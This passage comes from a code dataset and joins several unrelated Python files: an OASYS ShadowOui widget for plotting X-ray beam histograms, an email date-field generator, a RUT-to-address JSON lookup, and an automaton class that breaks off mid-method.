0\n\n def __init__(self):\n super().__init__()\n\n button_box = oasysgui.widgetBox(self.controlArea, \"\", addSpace=False, orientation=\"horizontal\")\n\n gui.button(button_box, self, \"Refresh\", callback=self.plot_results, height=45)\n gui.button(button_box, self, \"Save Current Plot\", callback=self.save_results, height=45)\n\n gui.separator(self.controlArea, 10)\n\n self.tabs_setting = oasysgui.tabWidget(self.controlArea)\n self.tabs_setting.setFixedWidth(self.CONTROL_AREA_WIDTH-5)\n\n # graph tab\n tab_set = oasysgui.createTabPage(self.tabs_setting, \"Plot Settings\")\n tab_gen = oasysgui.createTabPage(self.tabs_setting, \"Histogram Settings\")\n\n screen_box = oasysgui.widgetBox(tab_set, \"Screen Position Settings\", addSpace=True, orientation=\"vertical\", height=120)\n\n self.image_plane_combo = gui.comboBox(screen_box, self, \"image_plane\", label=\"Position of the Image\",\n items=[\"On Image Plane\", \"Retraced\"], labelWidth=260,\n callback=self.set_ImagePlane, sendSelectedValue=False, orientation=\"horizontal\")\n\n self.image_plane_box = oasysgui.widgetBox(screen_box, \"\", addSpace=False, orientation=\"vertical\", height=50)\n self.image_plane_box_empty = oasysgui.widgetBox(screen_box, \"\", addSpace=False, orientation=\"vertical\", height=50)\n\n oasysgui.lineEdit(self.image_plane_box, self, \"image_plane_new_position\", \"Image Plane new Position\", labelWidth=220, valueType=float, orientation=\"horizontal\")\n\n gui.comboBox(self.image_plane_box, self, \"image_plane_rel_abs_position\", label=\"Position Type\", labelWidth=250,\n items=[\"Absolute\", \"Relative\"], sendSelectedValue=False, orientation=\"horizontal\")\n\n self.set_ImagePlane()\n\n general_box = oasysgui.widgetBox(tab_set, \"Variables Settings\", addSpace=True, orientation=\"vertical\", height=350)\n\n self.x_column = gui.comboBox(general_box, self, \"x_column_index\", label=\"H Column\",labelWidth=70,\n items=[\"1: X\",\n \"2: Y\",\n \"3: Z\",\n \"4: X'\",\n \"5: Y'\",\n \"6: Z'\",\n \"7: E\\u03c3 X\",\n \"8: E\\u03c3 Y\",\n \"9: E\\u03c3 Z\",\n \"10: Ray Flag\",\n \"11: Energy\",\n \"12: Ray Index\",\n \"13: Optical Path\",\n \"14: Phase \\u03c3\",\n \"15: Phase \\u03c0\",\n \"16: E\\u03c0 X\",\n \"17: E\\u03c0 Y\",\n \"18: E\\u03c0 Z\",\n \"19: Wavelength\",\n \"20: R = sqrt(X\\u00b2 + Y\\u00b2 + Z\\u00b2)\",\n \"21: Theta (angle from Y axis)\",\n \"22: Magnitude = |E\\u03c3| + |E\\u03c0|\",\n \"23: Total Intensity = |E\\u03c3|\\u00b2 + |E\\u03c0|\\u00b2\",\n \"24: \\u03a3 Intensity = |E\\u03c3|\\u00b2\",\n \"25: \\u03a0 Intensity = |E\\u03c0|\\u00b2\",\n \"26: |K|\",\n \"27: K X\",\n \"28: K Y\",\n \"29: K Z\",\n \"30: S0-stokes = |E\\u03c0|\\u00b2 + |E\\u03c3|\\u00b2\",\n \"31: S1-stokes = |E\\u03c0|\\u00b2 - |E\\u03c3|\\u00b2\",\n \"32: S2-stokes = 2|E\\u03c3||E\\u03c0|cos(Phase \\u03c3-Phase \\u03c0)\",\n \"33: S3-stokes = 2|E\\u03c3||E\\u03c0|sin(Phase \\u03c3-Phase \\u03c0)\",\n \"34: Power = Intensity * Energy\",\n ],\n sendSelectedValue=False, orientation=\"horizontal\")\n\n gui.comboBox(general_box, self, \"x_range\", label=\"H Range\", labelWidth=250,\n items=[\"\",\n \"Set..\"],\n callback=self.set_XRange, sendSelectedValue=False, orientation=\"horizontal\")\n\n self.xrange_box = oasysgui.widgetBox(general_box, \"\", addSpace=True, orientation=\"vertical\", height=100)\n self.xrange_box_empty = oasysgui.widgetBox(general_box, \"\", addSpace=True, orientation=\"vertical\", height=100)\n\n oasysgui.lineEdit(self.xrange_box, self, \"x_range_min\", \"H min\", labelWidth=220, valueType=float, orientation=\"horizontal\")\n oasysgui.lineEdit(self.xrange_box, self, \"x_range_max\", \"H max\", labelWidth=220, valueType=float, orientation=\"horizontal\")\n\n self.set_XRange()\n\n self.y_column = gui.comboBox(general_box, self, \"y_column_index\", label=\"V Column\",labelWidth=70,\n items=[\"1: X\",\n \"2: Y\",\n \"3: Z\",\n \"4: X'\",\n \"5: Y'\",\n \"6: Z'\",\n \"7: E\\u03c3 X\",\n \"8: E\\u03c3 Y\",\n \"9: E\\u03c3 Z\",\n \"10: Ray Flag\",\n \"11: Energy\",\n \"12: Ray Index\",\n \"13: Optical Path\",\n \"14: Phase \\u03c3\",\n \"15: Phase \\u03c0\",\n \"16: E\\u03c0 X\",\n \"17: E\\u03c0 Y\",\n \"18: E\\u03c0 Z\",\n \"19: Wavelength\",\n \"20: R = sqrt(X\\u00b2 + Y\\u00b2 + Z\\u00b2)\",\n \"21: Theta (angle from Y axis)\",\n \"22: Magnitude = |E\\u03c3| + |E\\u03c0|\",\n \"23: Total Intensity = |E\\u03c3|\\u00b2 + |E\\u03c0|\\u00b2\",\n \"24: \\u03a3 Intensity = |E\\u03c3|\\u00b2\",\n \"25: \\u03a0 Intensity = |E\\u03c0|\\u00b2\",\n \"26: |K|\",\n \"27: K X\",\n \"28: K Y\",\n \"29: K Z\",\n \"30: S0-stokes = |E\\u03c0|\\u00b2 + |E\\u03c3|\\u00b2\",\n \"31: S1-stokes = |E\\u03c0|\\u00b2 - |E\\u03c3|\\u00b2\",\n \"32: S2-stokes = 2|E\\u03c3||E\\u03c0|cos(Phase \\u03c3-Phase \\u03c0)\",\n \"33: S3-stokes = 2|E\\u03c3||E\\u03c0|sin(Phase \\u03c3-Phase \\u03c0)\",\n \"34: Power = Intensity * Energy\",\n ],\n\n sendSelectedValue=False, orientation=\"horizontal\")\n\n gui.comboBox(general_box, self, \"y_range\", label=\"V Range\",labelWidth=250,\n items=[\"\",\n \"Set..\"],\n callback=self.set_YRange, sendSelectedValue=False, orientation=\"horizontal\")\n\n self.yrange_box = oasysgui.widgetBox(general_box, \"\", addSpace=True, orientation=\"vertical\", height=100)\n self.yrange_box_empty = oasysgui.widgetBox(general_box, \"\", addSpace=True, orientation=\"vertical\", height=100)\n\n oasysgui.lineEdit(self.yrange_box, self, \"y_range_min\", \"V min\", labelWidth=220, valueType=float, orientation=\"horizontal\")\n oasysgui.lineEdit(self.yrange_box, self, \"y_range_max\", \"V max\", labelWidth=220, valueType=float, orientation=\"horizontal\")\n\n self.set_YRange()\n\n self.weight_column = gui.comboBox(general_box, self, \"weight_column_index\", label=\"Weight\", labelWidth=70,\n items=[\"0: No Weight\",\n \"1: X\",\n \"2: Y\",\n \"3: Z\",\n \"4: X'\",\n \"5: Y'\",\n \"6: Z'\",\n \"7: E\\u03c3 X\",\n \"8: E\\u03c3 Y\",\n \"9: E\\u03c3 Z\",\n \"10: Ray Flag\",\n \"11: Energy\",\n \"12: Ray Index\",\n \"13: Optical Path\",\n \"14: Phase \\u03c3\",\n \"15: Phase \\u03c0\",\n \"16: E\\u03c0 X\",\n \"17: E\\u03c0 Y\",\n \"18: E\\u03c0 Z\",\n \"19: Wavelength\",\n \"20: R = sqrt(X\\u00b2 + Y\\u00b2 + Z\\u00b2)\",\n \"21: Theta (angle from Y axis)\",\n \"22: Magnitude = |E\\u03c3| + |E\\u03c0|\",\n \"23: Total Intensity = |E\\u03c3|\\u00b2 + |E\\u03c0|\\u00b2\",\n \"24: \\u03a3 Intensity = |E\\u03c3|\\u00b2\",\n \"25: \\u03a0 Intensity = |E\\u03c0|\\u00b2\",\n \"26: |K|\",\n \"27: K X\",\n \"28: K Y\",\n \"29: K Z\",\n \"30: S0-stokes = |E\\u03c0|\\u00b2 + |E\\u03c3|\\u00b2\",\n \"31: S1-stokes = |E\\u03c0|\\u00b2 - |E\\u03c3|\\u00b2\",\n \"32: S2-stokes = 2|E\\u03c3||E\\u03c0|cos(Phase \\u03c3-Phase \\u03c0)\",\n \"33: S3-stokes = 2|E\\u03c3||E\\u03c0|sin(Phase \\u03c3-Phase \\u03c0)\",\n \"34: Power = Intensity * Energy\",\n ],\n sendSelectedValue=False, orientation=\"horizontal\")\n\n gui.comboBox(general_box, self, \"rays\", label=\"Rays\", labelWidth=250,\n items=[\"All rays\",\n \"Good Only\",\n \"Lost Only\"],\n sendSelectedValue=False, orientation=\"horizontal\")\n\n gui.comboBox(general_box, self, \"cartesian_axis\", label=\"Cartesian Axis\",labelWidth=300,\n items=[\"No\",\n \"Yes\"],\n sendSelectedValue=False, orientation=\"horizontal\")\n\n autosave_box = oasysgui.widgetBox(tab_gen, \"Autosave\", addSpace=True, orientation=\"vertical\", height=85)\n\n gui.comboBox(autosave_box, self, \"autosave\", label=\"Save automatically plot into file\", labelWidth=250,\n items=[\"No\", \"Yes\"],\n sendSelectedValue=False, orientation=\"horizontal\", callback=self.set_autosave)\n\n self.autosave_box_1 = oasysgui.widgetBox(autosave_box, \"\", addSpace=False, orientation=\"horizontal\", height=25)\n self.autosave_box_2 = oasysgui.widgetBox(autosave_box, \"\", addSpace=False, orientation=\"horizontal\", height=25)\n\n self.le_autosave_file_name = oasysgui.lineEdit(self.autosave_box_1, self, \"autosave_file_name\", \"File Name\", labelWidth=100, valueType=str, orientation=\"horizontal\")\n\n gui.button(self.autosave_box_1, self, \"...\", callback=self.selectAutosaveFile)\n\n incremental_box = oasysgui.widgetBox(tab_gen, \"Incremental Result\", addSpace=True, orientation=\"vertical\", height=120)\n\n gui.comboBox(incremental_box, self, \"keep_result\", label=\"Keep Result\", labelWidth=250,\n items=[\"No\", \"Yes\"], sendSelectedValue=False, orientation=\"horizontal\", callback=self.set_autosave)\n\n self.cb_autosave_partial_results = gui.comboBox(incremental_box, self, \"autosave_partial_results\", label=\"Save partial plots into file\", labelWidth=250,\n items=[\"No\", \"Yes\"], sendSelectedValue=False, orientation=\"horizontal\")\n\n gui.button(incremental_box, self, \"Clear\", callback=self.clearResults)\n\n histograms_box = oasysgui.widgetBox(tab_gen, \"Histograms settings\", addSpace=True, orientation=\"vertical\", height=120)\n\n oasysgui.lineEdit(histograms_box, self, \"number_of_bins\", \"Number of Bins H\", labelWidth=250, valueType=int, orientation=\"horizontal\")\n oasysgui.lineEdit(histograms_box, self, \"number_of_bins_v\", \"Number of Bins V\", labelWidth=250, valueType=int, orientation=\"horizontal\")\n gui.comboBox(histograms_box, self, \"is_conversion_active\", label=\"Is U.M. conversion active\", labelWidth=250,\n items=[\"No\", \"Yes\"],\n sendSelectedValue=False, orientation=\"horizontal\")\n\n self.set_autosave()\n\n self.main_tabs = oasysgui.tabWidget(self.mainArea)\n plot_tab = oasysgui.createTabPage(self.main_tabs, \"Plots\")\n out_tab = oasysgui.createTabPage(self.main_tabs, \"Output\")\n\n self.image_box = gui.widgetBox(plot_tab, \"Plot Result\", addSpace=True, orientation=\"vertical\")\n self.image_box.setFixedHeight(self.IMAGE_HEIGHT)\n self.image_box.setFixedWidth(self.IMAGE_WIDTH)\n\n self.shadow_output = oasysgui.textArea(height=580, width=800)\n\n out_box = gui.widgetBox(out_tab, \"System Output\", addSpace=True, orientation=\"horizontal\")\n out_box.layout().addWidget(self.shadow_output)\n\n def clearResults(self, interactive=True):\n if not interactive: proceed = True\n else: proceed = ConfirmDialog.confirmed(parent=self)\n\n if proceed:\n self.input_beam = None\n self.cumulated_ticket = None\n self.plotted_ticket = None\n self.autosave_prog_id = 0\n if not self.autosave_file is None:\n self.autosave_file.close()\n self.autosave_file = None\n\n if not self.plot_canvas is None:\n self.plot_canvas.clear()\n\n def set_autosave(self):\n self.autosave_box_1.setVisible(self.autosave==1)\n self.autosave_box_2.setVisible(self.autosave==0)\n\n self.cb_autosave_partial_results.setEnabled(self.autosave==1 and self.keep_result==1)\n\n def set_ImagePlane(self):\n self.image_plane_box.setVisible(self.image_plane==1)\n self.image_plane_box_empty.setVisible(self.image_plane==0)\n\n def set_XRange(self):\n self.xrange_box.setVisible(self.x_range == 1)\n self.xrange_box_empty.setVisible(self.x_range == 0)\n\n def set_YRange(self):\n self.yrange_box.setVisible(self.y_range == 1)\n self.yrange_box_empty.setVisible(self.y_range == 0)\n\n def selectAutosaveFile(self):\n self.le_autosave_file_name.setText(oasysgui.selectFileFromDialog(self, self.autosave_file_name, \"Select File\", file_extension_filter=\"HDF5 Files (*.hdf5 *.h5 *.hdf)\"))\n\n def replace_fig(self, beam, var_x, var_y, title, xtitle, ytitle, xrange, yrange, nbins=100, nbins_h=None, nbins_v=None, nolost=0, xum=\"\", yum=\"\", flux=None):\n if self.plot_canvas is None:\n self.plot_canvas = ShadowPlot.DetailedPlotWidget(y_scale_factor=1.14)\n self.image_box.layout().addWidget(self.plot_canvas)\n\n try:\n if self.autosave == 1:\n if self.autosave_file is None:\n self.autosave_file = ShadowPlot.PlotXYHdf5File(congruence.checkDir(self.autosave_file_name))\n elif self.autosave_file.filename != congruence.checkFileName(self.autosave_file_name):\n self.autosave_file.close()\n self.autosave_file = ShadowPlot.PlotXYHdf5File(congruence.checkDir(self.autosave_file_name))\n\n if nbins_h is None: nbins_h=nbins\n if nbins_v is None: nbins_v=nbins\n\n if self.keep_result == 1:\n self.cumulated_ticket, last_ticket = self.plot_canvas.plot_xy(beam, var_x, var_y, title, xtitle, ytitle,\n xrange=xrange,\n yrange=yrange,\n nbins_h=nbins_h,\n nbins_v=nbins_v,\n nolost=nolost,\n xum=xum,\n yum=yum,\n conv=self.workspace_units_to_cm,\n ref=self.weight_column_index,\n ticket_to_add=self.cumulated_ticket,\n flux=flux)\n\n self.plotted_ticket = self.cumulated_ticket\n\n if self.autosave == 1:\n self.autosave_prog_id += 1\n self.autosave_file.write_coordinates(self.cumulated_ticket)\n dataset_name = self.weight_column.itemText(self.weight_column_index)\n\n self.autosave_file.add_plot_xy(self.cumulated_ticket, dataset_name=dataset_name)\n\n if self.autosave_partial_results == 1:\n if last_ticket is None:\n self.autosave_file.add_plot_xy(self.cumulated_ticket, plot_name=\"Plot XY #\" + str(self.autosave_prog_id), dataset_name=dataset_name)\n else:\n self.autosave_file.add_plot_xy(last_ticket, plot_name=\"Plot X #\" + str(self.autosave_prog_id), dataset_name=dataset_name)\n\n self.autosave_file.flush()\n else:\n ticket, _ = self.plot_canvas.plot_xy(beam, var_x, var_y, title, xtitle, ytitle,\n xrange=xrange,\n yrange=yrange,\n nbins_h=nbins_h,\n nbins_v=nbins_v,\n nolost=nolost,\n xum=xum,\n yum=yum,\n conv=self.workspace_units_to_cm,\n ref=self.weight_column_index,\n flux=flux)\n\n self.cumulated_ticket = None\n self.plotted_ticket = ticket\n\n if self.autosave == 1:\n self.autosave_prog_id += 1\n self.autosave_file.write_coordinates(ticket)\n self.autosave_file.add_plot_xy(ticket, dataset_name=self.weight_column.itemText(self.weight_column_index))\n self.autosave_file.flush()\n\n except Exception as e:\n if not self.IS_DEVELOP:\n raise Exception(\"Data not plottable: No good rays or bad content\")\n else:\n raise e\n\n def plot_xy(self, var_x, var_y, title, xtitle, ytitle, xum, yum):\n beam_to_plot = self.input_beam._beam\n flux = self.input_beam.get_flux(nolost=self.rays)\n\n if self.image_plane == 1:\n new_shadow_beam = self.input_beam.duplicate(history=False)\n\n if self.image_plane_rel_abs_position == 1: # relative\n dist = self.image_plane_new_position\n else: # absolute\n if self.input_beam.historySize() == 0:\n historyItem = None\n else:\n historyItem = self.input_beam.getOEHistory(oe_number=self.input_beam._oe_number)\n\n if historyItem is None: image_plane = 0.0\n elif self.input_beam._oe_number == 0: image_plane = 0.0\n else:\n if isinstance(historyItem._shadow_oe_end._oe, CompoundOE):\n image_plane = historyItem._shadow_oe_end._oe.list[-1].T_IMAGE\n else:\n image_plane = historyItem._shadow_oe_end._oe.T_IMAGE\n\n dist = self.image_plane_new_position - image_plane\n\n self.retrace_beam(new_shadow_beam, dist)\n\n beam_to_plot = new_shadow_beam._beam\n\n xrange, yrange = self.get_ranges(beam_to_plot, var_x, var_y)\n\n self.replace_fig(beam_to_plot, var_x, var_y, title, xtitle, ytitle,\n xrange=xrange,\n yrange=yrange,\n nbins_h=int(self.number_of_bins),\n nbins_v=int(self.number_of_bins_v),\n nolost=self.rays,\n xum=xum,\n yum=yum,\n flux=flux)\n\n def get_ranges(self, beam_to_plot, var_x, var_y):\n xrange = None\n yrange = None\n factor1 = ShadowPlot.get_factor(var_x, self.workspace_units_to_cm)\n factor2 = ShadowPlot.get_factor(var_y, self.workspace_units_to_cm)\n\n if self.x_range == 0 and self.y_range == 0:\n if self.cartesian_axis == 1:\n x_max = 0\n y_max = 0\n x_min = 0\n y_min = 0\n\n x, y, good_only = beam_to_plot.getshcol((var_x, var_y, 10))\n\n x_to_plot = copy.deepcopy(x)\n y_to_plot = copy.deepcopy(y)\n\n go = numpy.where(good_only == 1)\n lo = numpy.where(good_only != 1)\n\n if self.rays == 0:\n x_max = numpy.array(x_to_plot[0:], float).max()\n y_max = numpy.array(y_to_plot[0:], float).max()\n x_min = numpy.array(x_to_plot[0:], float).min()\n y_min = numpy.array(y_to_plot[0:], float).min()\n elif self.rays == 1:\n x_max = numpy.array(x_to_plot[go], float).max()\n y_max = numpy.array(y_to_plot[go], float).max()\n x_min = numpy.array(x_to_plot[go], float).min()\n y_min = numpy.array(y_to_plot[go], float).min()\n elif self.rays == 2:\n x_max = numpy.array(x_to_plot[lo], float).max()\n y_max = numpy.array(y_to_plot[lo], float).max()\n x_min = numpy.array(x_to_plot[lo], float).min()\n y_min = numpy.array(y_to_plot[lo], float).min()\n\n xrange = [x_min, x_max]\n yrange = [y_min, y_max]\n else:\n if self.x_range == 1:\n congruence.checkLessThan(self.x_range_min, self.x_range_max, \"X range min\", \"X range max\")\n\n xrange = [self.x_range_min / factor1, self.x_range_max / factor1]\n\n if self.y_range == 1:\n congruence.checkLessThan(self.y_range_min, self.y_range_max, \"Y range min\", \"Y range max\")\n\n yrange = [self.y_range_min / factor2, self.y_range_max / factor2]\n\n return xrange, yrange\n\n def save_results(self):\n if not self.plotted_ticket is None:\n try:\n file_name, _ = QFileDialog.getSaveFileName(self, \"Save Current Plot\", filter=\"HDF5 Files (*.hdf5 *.h5 *.hdf)\")\n\n if not file_name is None and not file_name.strip()==\"\":\n if not (file_name.endswith(\"hd5\") or file_name.endswith(\"hdf5\") or file_name.endswith(\"hdf\")):\n file_name += \".hdf5\"\n\n save_file = ShadowPlot.PlotXYHdf5File(congruence.checkDir(file_name))\n\n save_file.write_coordinates(self.plotted_ticket)\n dataset_name = self.weight_column.itemText(self.weight_column_index)\n\n save_file.add_plot_xy(self.plotted_ticket, dataset_name=dataset_name)\n\n save_file.close()\n except Exception as exception:\n QMessageBox.critical(self, \"Error\", str(exception), QMessageBox.Ok)\n\n if self.IS_DEVELOP: raise exception\n\n\n def plot_results(self):\n try:\n plotted = False\n\n sys.stdout = EmittingStream(textWritten=self.writeStdOut)\n if self.trace_shadow:\n grabber = TTYGrabber()\n grabber.start()\n\n if ShadowCongruence.checkEmptyBeam(self.input_beam):\n ShadowPlot.set_conversion_active(self.getConversionActive())\n\n self.number_of_bins = congruence.checkStrictlyPositiveNumber(self.number_of_bins, \"Number of Bins\")\n\n x, y, auto_x_title, auto_y_title, xum, yum = self.get_titles()\n\n self.plot_xy(x, y, title=self.title, xtitle=auto_x_title, ytitle=auto_y_title, xum=xum, yum=yum)\n\n plotted = True\n if self.trace_shadow:\n grabber.stop()\n\n for row in grabber.ttyData:\n self.writeStdOut(row)\n\n time.sleep(0.5) # prevents a misterious dead lock in the Orange cycle when refreshing the histogram\n\n return plotted\n except Exception as exception:\n QMessageBox.critical(self, \"Error\",\n str(exception),\n QMessageBox.Ok)\n\n if self.IS_DEVELOP: raise exception\n\n return False\n\n def get_titles(self):\n auto_x_title = self.x_column.currentText().split(\":\", 2)[1]\n auto_y_title = self.y_column.currentText().split(\":\", 2)[1]\n xum = auto_x_title + \" \"\n yum = auto_y_title + \" \"\n self.title = auto_x_title + \",\" + auto_y_title\n x = self.x_column_index + 1\n if x == 1 or x == 2 or x == 3:\n if self.getConversionActive():\n xum = xum + \"[\" + u\"\\u03BC\" + \"m]\"\n auto_x_title = auto_x_title + \" [$\\mu$m]\"\n else:\n xum = xum + \" [\" + self.workspace_units_label + \"]\"\n auto_x_title = auto_x_title + \" [\" + self.workspace_units_label + \"]\"\n elif x == 4 or x == 5 or x == 6:\n if self.getConversionActive():\n xum = xum + \"[\" + u\"\\u03BC\" + \"rad]\"\n auto_x_title = auto_x_title + \" [$\\mu$rad]\"\n else:\n xum = xum + \" [rad]\"\n auto_x_title = auto_x_title + \" [rad]\"\n elif x == 11:\n xum = xum + \"[eV]\"\n auto_x_title = auto_x_title + \" [eV]\"\n elif x == 13:\n xum = xum + \"[\" + self.workspace_units_label + \"]\"\n auto_x_title = auto_x_title + \" [\" + self.workspace_units_label + \"]\"\n elif x == 14:\n xum = xum + \"[rad]\"\n auto_x_title = auto_x_title + \" [rad]\"\n elif x == 15:\n xum = xum + \"[rad]\"\n auto_x_title = auto_x_title + \" [rad]\"\n elif x == 19:\n xum = xum + \"[Å]\"\n auto_x_title = auto_x_title + \" [Å]\"\n elif x == 20:\n xum = xum + \"[\" + self.workspace_units_label + \"]\"\n auto_x_title = auto_x_title + \" [\" + self.workspace_units_label + \"]\"\n elif x == 21:\n xum = xum + \"[rad]\"\n auto_x_title = auto_x_title + \" [rad]\"\n elif x >= 25 and x <= 28:\n xum = xum + \"[Å-1]\"\n auto_x_title = auto_x_title + \" [Å-1]\"\n y = self.y_column_index + 1\n if y == 1 or y == 2 or y == 3:\n if self.getConversionActive():\n yum = yum + \"[\" + u\"\\u03BC\" + \"m]\"\n auto_y_title = auto_y_title + \" [$\\mu$m]\"\n else:\n yum = yum + \" [\" + self.workspace_units_label + \"]\"\n auto_y_title = auto_y_title + \" [\" + self.workspace_units_label + \"]\"\n elif y == 4 or y == 5 or y == 6:\n if self.getConversionActive():\n yum = yum + \"[\" + u\"\\u03BC\" + \"rad]\"\n auto_y_title = auto_y_title + \" [$\\mu$rad]\"\n else:\n yum = yum + \" [rad]\"\n auto_y_title = auto_y_title + \" [rad]\"\n elif y == 11:\n yum = yum + \"[eV]\"\n auto_y_title = auto_y_title + \" [eV]\"\n elif y == 13:\n yum = yum + \"[\" + self.workspace_units_label + \"]\"\n auto_y_title = auto_y_title + \" [\" + self.workspace_units_label + \"]\"\n elif y == 14:\n yum = yum + \"[rad]\"\n auto_y_title = auto_y_title + \" [rad]\"\n elif y == 15:\n yum = yum + \"[rad]\"\n auto_y_title = auto_y_title + \" [rad]\"\n elif y == 19:\n yum = yum + \"[Å]\"\n auto_y_title = auto_y_title + \" [Å]\"\n elif y == 20:\n yum = yum + \"[\" + self.workspace_units_label + \"]\"\n auto_y_title = auto_y_title + \" [\" + self.workspace_units_label + \"]\"\n elif y == 21:\n yum = yum + \"[rad]\"\n auto_y_title = auto_y_title + \" [rad]\"\n elif y >= 25 and y <= 28:\n yum = yum + \"[Å-1]\"\n auto_y_title = auto_y_title + \" [Å-1]\"\n\n return x, y, auto_x_title, auto_y_title, xum, yum\n\n def setBeam(self, beam):\n if not beam is None:\n send_footprint_beam = QSettings().value(\"output/send-footprint\", 0, int) == 1\n\n if send_footprint_beam and isinstance(beam, list):\n footprint_beam = beam[1]\n\n if ShadowCongruence.checkEmptyBeam(footprint_beam):\n if ShadowCongruence.checkGoodBeam(footprint_beam):\n self.input_beam = footprint_beam\n\n self.x_column_index = 1\n self.x_range=0\n self.y_column_index = 0\n self.y_range = 0\n self.image_plane = 0\n\n self.set_XRange()\n self.set_YRange()\n self.set_ImagePlane()\n\n if self.is_automatic_run:\n self.plot_results()\n else:\n QMessageBox.critical(self, \"Error\",\n \"Data not displayable: No good rays, bad content, bad limits or axes\",\n QMessageBox.Ok)\n\n elif isinstance(beam, ShadowBeam):\n if ShadowCongruence.checkEmptyBeam(beam):\n if ShadowCongruence.checkGoodBeam(beam):\n self.input_beam = beam\n\n if self.is_automatic_run:\n self.plot_results()\n else:\n QMessageBox.critical(self, \"Error\",\n \"Data not displayable: No good rays, bad content, bad limits or axes\",\n QMessageBox.Ok)\n else:\n QMessageBox.critical(self, \"Error\",\n \"Data not displayable: input type not recognized (must be Shadow Beam or Footprint)\",\n QMessageBox.Ok)\n\n def setFootprintBeam(self, footprint):\n if not footprint is None:\n beam = footprint[1]\n\n if ShadowCongruence.checkEmptyBeam(beam):\n if ShadowCongruence.checkGoodBeam(beam):\n self.input_beam = beam\n\n self.x_column_index = 1\n self.x_range=0\n self.y_column_index = 0\n self.y_range = 0\n self.image_plane = 0\n\n self.set_XRange()\n self.set_YRange()\n self.set_ImagePlane()\n\n if self.is_automatic_run:\n self.plot_results()\n else:\n QMessageBox.critical(self, \"Error\",\n \"Data not displayable: No good rays, bad content, bad limits or axes\",\n QMessageBox.Ok)\n\n def writeStdOut(self, text):\n cursor = self.shadow_output.textCursor()\n cursor.movePosition(QTextCursor.End)\n cursor.insertText(text)\n self.shadow_output.setTextCursor(cursor)\n self.shadow_output.ensureCursorVisible()\n\n def retrace_beam(self, new_shadow_beam, dist):\n new_shadow_beam._beam.retrace(dist)\n\n def getConversionActive(self):\n return self.is_conversion_active==1\n","repo_name":"oasys-kit/ShadowOui","sub_path":"orangecontrib/shadow/widgets/plots/ow_plot_xy.py","file_name":"ow_plot_xy.py","file_ext":"py","file_size_in_byte":36732,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"61"} +{"seq_id":"1875025737","text":"from datetime import datetime\n\nfrom emails.fields import Field\nfrom helpers.DatesHelper import DatesHelper\n\n\nclass DateField(Field):\n \"\"\"\n Date field.\n \"\"\"\n\n def __init__(self, email):\n \"\"\"\n Generate field content.\n Require fields: -\n :param email: Parent Email object.\n \"\"\"\n super().__init__(email)\n\n def generate(self):\n \"\"\"\n Start the field generation process.\n \"\"\"\n super().generate()\n\n if not hasattr(self, \"date\"):\n date_from = datetime.strptime(\n \"1/1/2020 01:00 AM\", \"%d/%m/%Y %I:%M %p\"\n )\n date_to = datetime.strptime(\n \"31/12/2020 11:00 PM\", \"%d/%m/%Y %I:%M %p\"\n )\n self.date = DatesHelper.random_between(\n date_from, date_to\n ).astimezone()\n\n def __str__(self):\n \"\"\"\n String representation of the date.\n :return: String field with format '%a, %d %b %Y %H:%M:%S %z'.\n \"\"\"\n return str(self.date.strftime(\"%a, %d %b %Y %H:%M:%S %z\"))\n","repo_name":"MarcVillain/EmailGenerator","sub_path":"emails/fields/DateField.py","file_name":"DateField.py","file_ext":"py","file_size_in_byte":1083,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"15988403889","text":"import json\n\ndef getDirectionByRut(rut): \n \n if(rut):\n #Abrir json\n file = open('data/direcciones.json')\n data = json.load(file)\n \n #Cerrar json\n file.close()\n \n #Obtener dirección por el rut\n if rut in data:\n direccion = data[rut]\n return direccion\n else:\n return ''\n else:\n return ''\n ","repo_name":"Estephanyc/mineria_datos","sub_path":"api/getDirectionByRut.py","file_name":"getDirectionByRut.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15769860215","text":"from vertex_t import Vertex\nfrom collections import defaultdict, namedtuple\nimport sys, os\nimport json\n\nclass Automaton:\n def __init__(self, start=0, vertices=None, alphabet=None, other_automaton=None):\n if other_automaton is None:\n self.start = start\n self.vertices = vertices or dict()\n self._free_vertex_id = (max(self.vertices) + 1) if len(self.vertices) else 0\n self.alphabet = alphabet or set()\n else:\n self.start = other_automaton.start\n self._free_vertex_id = other_automaton._free_vertex_id\n self.vertices = dict(other_automaton.vertices)\n self.alphabet = other_automaton.alphabet.copy()\n\n def __getitem__(self, vertex_id):\n if vertex_id not in self.vertices:\n self._free_vertex_id = max(self._free_vertex_id, vertex_id + 1)\n self.vertices[vertex_id] = Vertex(vertex_id)\n return self.vertices[vertex_id]\n\n def add_edge(self, vertex_from, vertex_to, word):\n self[vertex_to] # in order to add vertex_to in self.vertices\n self[vertex_from].add_edge(word, vertex_to)\n\n def scan(self):\n self.alphabet = set(input('Alphabet: '))\n\n number_of_edges = int(input('Number of edges: '))\n print('Edges: (in format \"{from} {to} {word}\", symbol \"-\" stands for empty string)')\n self.vertices = dict()\n self._free_vertex_id = 0\n for edge_id in range(number_of_edges):\n vertex_from, vertex_to, word = input('Edge #{0}: '.format(edge_id)).split()\n if word == '-': # null edge\n word = None\n self.add_edge(int(vertex_from), int(vertex_to), word)\n\n self.start = int(input('Start state: '))\n for terminal_vertex_id in list(map(int, input('Terminal states: ').split())):\n self[terminal_vertex_id].is_terminal = True\n\n def read_from_json(self, filename):\n with open(filename, 'r') as input_file, open(os.devnull, 'w') as output_file:\n sys.stdin = input_file\n sys.stdout = output_file\n self.scan()\n sys.stdin = sys.__stdin__\n sys.stdout = sys.__stdout__\n\n def __str__(self):\n output = 'Automaton:\\n'\n prefix = ' ' * 4\n output += prefix + 'Edges:\\n'\n terminal_vertices = []\n\n for vertex in self.vertices:\n if self[vertex].is_terminal:\n terminal_vertices.append(vertex)\n for word, neighbors in self[vertex].edges.items():\n for vertex_to in neighbors:\n output += prefix * 2 + 'From {0} to {1} by {2}\\n'.format(vertex, vertex_to, word or '-')\n\n output += prefix + 'Start state: {0}'.format(self.start)\n output += prefix + 'Terminal states: ' + ', '.join(str(v) for v in terminal_vertices) + '\\n'\n return output\n\n def _split_long_edges(self): # replaces all edges with keys longer than 1 with multiple edges\n edges_to_delete = []\n for vertex_id in self.vertices:\n for word in self[vertex_id].edges:\n if word is not None and len(word) > 1:\n edges_to_delete.append((vertex_id, word))\n\n for vertex_id, word in edges_to_delete:\n for edge_end in self[vertex_id].neighbors_by_word(word):\n last_vertex = vertex_id\n for i, 